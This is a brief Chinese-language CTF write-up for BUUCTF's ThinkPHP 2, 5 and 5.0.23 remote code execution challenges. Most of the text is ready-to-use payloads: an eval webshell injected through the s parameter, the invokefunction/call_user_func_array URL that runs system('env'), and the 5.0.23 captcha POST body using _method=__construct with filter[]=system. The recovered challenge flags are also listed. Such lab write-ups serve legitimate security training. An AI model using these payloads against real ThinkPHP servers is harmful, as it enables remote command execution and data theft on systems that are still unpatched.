[ThinkPHP]2,5,5.0.23-Rce
[ThinkPHP]2-Rce
?s是一個常用的api,然後我們傳入ls命令發現會報錯,報錯資訊中會顯示thinkphp的版本
然後我們只要找到thinkphp2.1的payload達到一個命令執行的效果
?s=/index/index/xxx/${${@eval($_POST[pass])}}
?s=/index/index/xxx/${@phpinfo()}
在php中,${}可以構造變數,如果{}裡面寫的是一般的字元,那麼就會被當成變數,例如${a}會被當成變數$a。
?s=/index/index/xxx/${@phpinfo()}
所以這句話是把phpinfo()作為變數輸出到了頁面顯示,flag就在這些資訊中,Ctrl+F搜尋即可
或者用上面那個一句話,post傳參也可以
或者我們可以用system函式去構造一些命令
pass=system("ls /");
env是環境變數的意思,flag就在環境變數裡
FLAG=flag{37e4044e-f6a6-4b82-bdcd-90c6d88b99fc}
[ThinkPHP]5-Rce
可以用call_user_func_array()這個函式來構造命令執行
flag同樣在環境變數中
http://node4.buuoj.cn:27835/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=env
http://node4.buuoj.cn:27835/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=-1
或者在phpinfo中也可以找到flag
FLAG=flag{a0aaca06-5435-40aa-82c7-d16307d6c0c6}
[ThinkPHP]5.0.23-Rce
http://node4.buuoj.cn:26842/?s=captcha
POST:
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env
FLAG=flag{58214b0e-de30-4acd-898f-9a17a7d07c56}